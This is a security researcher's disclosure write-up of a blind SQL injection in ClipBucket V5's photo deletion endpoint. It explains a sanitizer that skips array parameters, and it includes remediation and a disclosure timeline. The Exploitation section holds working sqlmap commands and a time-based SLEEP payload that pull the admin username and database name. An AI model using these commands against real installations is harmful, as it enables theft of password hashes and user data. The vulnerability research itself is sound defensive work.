CVE-2026-77927: Blind SQL Injection in ClipBucket V5 Photo Deletion
Exploiting a sanitizer bypass in ClipBucket V5 to achieve blind SQL injection through the photo deletion endpoint, extracting full database contents including password hashes.

ClipBucket's clean_requests() sanitizer skips array parameters. The photo deletion endpoint passes unsanitized array values to a SQL query without escaping. Submit check_photo[]=1' and extract the entire database via blind SQL injection.
Introduction
During my security research on ClipBucket V5, a popular open-source video sharing platform, I discovered a blind SQL injection vulnerability that allows any registered user to extract arbitrary data from the database — including administrator password hashes.
The vulnerability exists in the photo deletion functionality and stems from a fundamental flaw in how the application sanitizes array-typed request parameters.
Root Cause
The Sanitizer Bypass
ClipBucket::clean_requests() explicitly skips arrays:
foreach ($posts as $key => $post) {
if (!is_array($post)) {
$clean_posts[$key] = preg_replace(['/\|no_mc\|/', '/\|f\|/'], '', $post);
} else {
$clean_posts[$key] = $post; // Arrays pass through untouched!
}
}
Submitting a parameter as name[]=value instead of name=value completely bypasses sanitization.
The Entry Point
The photo deletion handler explicitly expects an array and iterates through it:
if (isset($_POST['delete_photos']) && is_array($_POST['check_photo'])) {
for ($i = 0; $i < $total; $i++) {
CBPhotos::getInstance()->delete_photo($_POST['check_photo'][$i]);
}
}
The Vulnerable Sink
delete_photo($id) calls photo_exists($id) which has a dual-path ID lookup:
function photo_exists($id): bool
{
if (is_numeric($id)) {
// Numeric IDs are safely cast
$result = Clipbucket_db::getInstance()->select(
tbl($this->p_tbl), 'photo_id',
' photo_id = ' . (int)$id
);
} else {
// Non-numeric IDs hit this UNESCAPED branch
$result = Clipbucket_db::getInstance()->select(
tbl($this->p_tbl), 'photo_id',
' photo_key = \'' . $id . '\'' // SQL injection!
);
}
}
ClipBucket treats ID parameters as either numeric (safely cast to int) or string (photo_key lookup). Only the numeric path was safely escaped — the string path interpolates directly into SQL.
Discovery Process
- 1Map Sanitizer
Reviewed clean_requests() and noted array bypass
- 2Find Arrays
Searched for is_array($_POST patterns
- 3Trace Flow
Followed check_photo[] through delete_photo()
- 4Find Sink
Found unescaped SQL in photo_key branch
- 5Confirm
Validated with time-based blind injection
Exploitation
Tested against ClipBucket V5 master @ commit da1a665 using a "Registered User" account with default permissions (allow_photo_upload = yes).
Note: At least one photo record must exist in the database (any photo, any owner) — the injectable existence check doesn't verify ownership. However, the downstream deletion logic is constrained to photos the attacker owns.
Step 1: Confirm the Injection Point
sqlmap -u "http://target/manage_photos.php" \
--cookie="PHPSESSID=<session>" \
--data="delete_photos=1&check_photo[]=1*" \
--batch --technique=T --dbms=mysql --time-sec=3
Parameter: #1* ((custom) POST)
Type: time-based blind
Payload: delete_photos=1&check_photo[]=1' AND (SELECT 8202 FROM
(SELECT(SLEEP(3)))FHhs)-- EzXV
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Step 2: Extract Admin Credentials
sqlmap -u "http://target/manage_photos.php" \
--cookie="PHPSESSID=<session>" \
--data="delete_photos=1&check_photo[]=1*" \
--batch --technique=T --dbms=mysql --time-sec=2 \
--sql-query="SELECT username FROM cb_users WHERE level=1"
Result: SELECT username FROM cb_users WHERE level=1: 'admin'
Step 3: Non-Destructive Extraction
Using a non-existent base value avoids side effects while proving data extraction:
sqlmap -u "http://target/manage_photos.php" \
--cookie="PHPSESSID=<session>" \
--data="delete_photos=1&check_photo[]=999999*" \
--batch --technique=T --dbms=mysql --time-sec=2 \
--current-db
Result: current database: 'clipbucket' — extracted in under a minute.
With more time, the entire cb_users table — including password hashes — can be extracted via the identical technique.
Impact
Full database extraction: password hashes, emails, private content metadata.
Read-only extraction via blind injection; deletion constrained to owned photos.
No direct availability impact from this vulnerability.
CVSS 4.0 Breakdown
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Remediation
Escape the $id parameter with mysql_clean() before interpolating into SQL.
else {
// Escape the ID properly
$result = Clipbucket_db::getInstance()->select(
tbl($this->p_tbl), 'photo_id',
' photo_key = \'' . mysql_clean($id) . '\''
);
}
Handle array parameters properly in the sanitizer.
Use mysql_clean() or parameterized queries everywhere.
Search for is_array($_POST patterns system-wide.
Integration tests for SQL injection via array parameters.
Regression Tests
- Submitting
check_photo[]=1'returns an error or is safely handled - Time-based payloads do not cause delayed responses
- Array parameters are sanitized recursively
Timeline
- 06 Aug 2026Discovered
Found array bypass in clean_requests() and traced to photos.class.php.
- 06 Aug 2026Reproduced
Admin username and database name extracted via sqlmap.
- 18 Sep 2026Reported
Disclosed via GitHub Security Advisory (bundled with private message finding).
- 21 Sep 2026CVE Assigned
CVE-2026-77927 issued; writeup published.
References
- NVD: CVE-2026-77927
- VulnCheck Advisory
- CVE Record
- CWE-89: SQL Injection
- CWE-20: Improper Input Validation
The Lesson
Sanitizers that handle only scalar values while arrays pass through unchecked are a recurring vulnerability pattern. If your code accepts array parameters, your security layer must too.
The check_photo[] parameter naming even suggests array usage was intentional, yet the security implications weren't considered. Until patched, any ClipBucket V5 installation with open registration exposes its entire database to extraction.
This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. Testing was performed in isolated lab environments.
Adam Nurudini